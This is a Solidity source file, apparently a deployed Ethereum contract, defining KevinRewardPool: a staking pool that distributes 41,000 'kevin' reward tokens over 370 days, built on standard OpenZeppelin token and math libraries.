contracts/mainnet/3f/3fd828BD5cf9eE3A8c13f6eC895428c807036b94_KevinRewardPool.sol
| 5,141 | 19,650 |
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// Note that this pool has no minter key of kevin (rewards).
contract KevinRewardPool {
using SafeMath for uint256;
using SafeERC20 for IERC20;
// governance
address public operator;
// Info of each user.
struct UserInfo {
uint256 amount; // How many LP tokens the user has provided.
uint256 rewardDebt; // Reward debt. See explanation below.
}
// Info of each pool.
struct PoolInfo {
IERC20 token; // Address of LP token contract.
uint256 allocPoint; // How many allocation points assigned to this pool. Kevin to distribute per block.
uint256 lastRewardTime; // Last time that kevin distribution occurs.
uint256 accKevinPerShare; // Accumulated kevin per share, times 1e18. See below.
bool isStarted; // if lastRewardTime has passed
}
IERC20 public kevin;
// Info of each pool.
PoolInfo[] public poolInfo;
// Info of each user that stakes LP tokens.
mapping(uint256 => mapping(address => UserInfo)) public userInfo;
// Total allocation points. Must be the sum of all allocation points in all pools.
uint256 public totalAllocPoint = 0;
// The time when kevin mining starts.
uint256 public poolStartTime;
// The time when kevin mining ends.
uint256 public poolEndTime;
uint256 public kevinPerSecond = 0.00128253 ether; // 41000 kevin / (370 days * 24h * 60min * 60s)
uint256 public runningTime = 370 days; // 370 days
uint256 public constant TOTAL_REWARDS = 41000 ether;
event Deposit(address indexed user, uint256 indexed pid, uint256 amount);
event Withdraw(address indexed user, uint256 indexed pid, uint256 amount);
event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount);
event RewardPaid(address indexed user, uint256 amount);
constructor(address _kevin,
uint256 _poolStartTime) public {
require(block.timestamp < _poolStartTime, "late");
if (_kevin != address(0)) kevin = IERC20(_kevin);
poolStartTime = _poolStartTime;
poolEndTime = poolStartTime + runningTime;
operator = msg.sender;
}
modifier onlyOperator() {
require(operator == msg.sender, "KevinRewardPool: caller is not the operator");
_;
}
function checkPoolDuplicate(IERC20 _token) internal view {
uint256 length = poolInfo.length;
for (uint256 pid = 0; pid < length; ++pid) {
require(poolInfo[pid].token != _token, "KevinRewardPool: existing pool?");
}
}
// Add a new lp to the pool. Can only be called by the owner.
function add(uint256 _allocPoint,
IERC20 _token,
bool _withUpdate,
uint256 _lastRewardTime) public onlyOperator {
checkPoolDuplicate(_token);
if (_withUpdate) {
massUpdatePools();
}
if (block.timestamp < poolStartTime) {
// chef is sleeping
if (_lastRewardTime == 0) {
_lastRewardTime = poolStartTime;
} else {
if (_lastRewardTime < poolStartTime) {
_lastRewardTime = poolStartTime;
}
}
} else {
// chef is cooking
if (_lastRewardTime == 0 || _lastRewardTime < block.timestamp) {
_lastRewardTime = block.timestamp;
}
}
bool _isStarted =
(_lastRewardTime <= poolStartTime) ||
(_lastRewardTime <= block.timestamp);
poolInfo.push(PoolInfo({
token : _token,
allocPoint : _allocPoint,
lastRewardTime : _lastRewardTime,
accKevinPerShare : 0,
isStarted : _isStarted
}));
if (_isStarted) {
totalAllocPoint = totalAllocPoint.add(_allocPoint);
}
}
// Update the given pool's kevin allocation point. Can only be called by the owner.
function set(uint256 _pid, uint256 _allocPoint) public onlyOperator {
massUpdatePools();
PoolInfo storage pool = poolInfo[_pid];
if (pool.isStarted) {
totalAllocPoint = totalAllocPoint.sub(pool.allocPoint).add(_allocPoint);
}
pool.allocPoint = _allocPoint;
}
// Return accumulate rewards over the given _from to _to block.
function getGeneratedReward(uint256 _fromTime, uint256 _toTime) public view returns (uint256) {
if (_fromTime >= _toTime) return 0;
if (_toTime >= poolEndTime) {
if (_fromTime >= poolEndTime) return 0;
if (_fromTime <= poolStartTime) return poolEndTime.sub(poolStartTime).mul(kevinPerSecond);
return poolEndTime.sub(_fromTime).mul(kevinPerSecond);
} else {
if (_toTime <= poolStartTime) return 0;
if (_fromTime <= poolStartTime) return _toTime.sub(poolStartTime).mul(kevinPerSecond);
return _toTime.sub(_fromTime).mul(kevinPerSecond);
}
}
// View function to see pending Kevin on frontend.
function pendingShare(uint256 _pid, address _user) external view returns (uint256) {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_user];
uint256 accKevinPerShare = pool.accKevinPerShare;
uint256 tokenSupply = pool.token.balanceOf(address(this));
if (block.timestamp > pool.lastRewardTime && tokenSupply != 0) {
uint256 _generatedReward = getGeneratedReward(pool.lastRewardTime, block.timestamp);
uint256 _kevinReward = _generatedReward.mul(pool.allocPoint).div(totalAllocPoint);
accKevinPerShare = accKevinPerShare.add(_kevinReward.mul(1e18).div(tokenSupply));
}
return user.amount.mul(accKevinPerShare).div(1e18).sub(user.rewardDebt);
}
// Update reward variables for all pools. Be careful of gas spending!
function massUpdatePools() public {
uint256 length = poolInfo.length;
for (uint256 pid = 0; pid < length; ++pid) {
updatePool(pid);
}
}
// Update reward variables of the given pool to be up-to-date.
function updatePool(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
if (block.timestamp <= pool.lastRewardTime) {
return;
}
uint256 tokenSupply = pool.token.balanceOf(address(this));
if (tokenSupply == 0) {
pool.lastRewardTime = block.timestamp;
return;
}
if (!pool.isStarted) {
pool.isStarted = true;
totalAllocPoint = totalAllocPoint.add(pool.allocPoint);
}
if (totalAllocPoint > 0) {
uint256 _generatedReward = getGeneratedReward(pool.lastRewardTime, block.timestamp);
uint256 _kevinReward = _generatedReward.mul(pool.allocPoint).div(totalAllocPoint);
pool.accKevinPerShare = pool.accKevinPerShare.add(_kevinReward.mul(1e18).div(tokenSupply));
}
pool.lastRewardTime = block.timestamp;
}
// Deposit LP tokens.
function deposit(uint256 _pid, uint256 _amount) public {
address _sender = msg.sender;
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_sender];
updatePool(_pid);
if (user.amount > 0) {
uint256 _pending = user.amount.mul(pool.accKevinPerShare).div(1e18).sub(user.rewardDebt);
if (_pending > 0) {
safeKevinTransfer(_sender, _pending);
emit RewardPaid(_sender, _pending);
}
}
if (_amount > 0) {
pool.token.safeTransferFrom(_sender, address(this), _amount);
user.amount = user.amount.add(_amount);
}
user.rewardDebt = user.amount.mul(pool.accKevinPerShare).div(1e18);
emit Deposit(_sender, _pid, _amount);
}
// Withdraw LP tokens.
function withdraw(uint256 _pid, uint256 _amount) public {
address _sender = msg.sender;
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_sender];
require(user.amount >= _amount, "withdraw: not good");
updatePool(_pid);
uint256 _pending = user.amount.mul(pool.accKevinPerShare).div(1e18).sub(user.rewardDebt);
if (_pending > 0) {
safeKevinTransfer(_sender, _pending);
emit RewardPaid(_sender, _pending);
}
if (_amount > 0) {
user.amount = user.amount.sub(_amount);
pool.token.safeTransfer(_sender, _amount);
}
user.rewardDebt = user.amount.mul(pool.accKevinPerShare).div(1e18);
emit Withdraw(_sender, _pid, _amount);
}
// Withdraw without caring about rewards. EMERGENCY ONLY.
function emergencyWithdraw(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
uint256 _amount = user.amount;
user.amount = 0;
user.rewardDebt = 0;
pool.token.safeTransfer(msg.sender, _amount);
emit EmergencyWithdraw(msg.sender, _pid, _amount);
}
// Safe kevin transfer function, just in case if rounding error causes pool to not have enough kevin.
function safeKevinTransfer(address _to, uint256 _amount) internal {
uint256 _kevinBal = kevin.balanceOf(address(this));
if (_kevinBal > 0) {
if (_amount > _kevinBal) {
kevin.safeTransfer(_to, _kevinBal);
} else {
kevin.safeTransfer(_to, _amount);
}
}
}
function setOperator(address _operator) external onlyOperator {
operator = _operator;
}
function governanceRecoverUnsupported(IERC20 _token, uint256 amount, address to) external onlyOperator {
if (block.timestamp < poolEndTime + 90 days) {
// do not allow to drain core token (kevin or lps) if less than 90 days after pool ends
require(_token != kevin, "kevin");
uint256 length = poolInfo.length;
for (uint256 pid = 0; pid < length; ++pid) {
PoolInfo storage pool = poolInfo[pid];
require(_token != pool.token, "pool.token");
}
}
_token.safeTransfer(to, amount);
}
}
| 92,682 | 10,999 |
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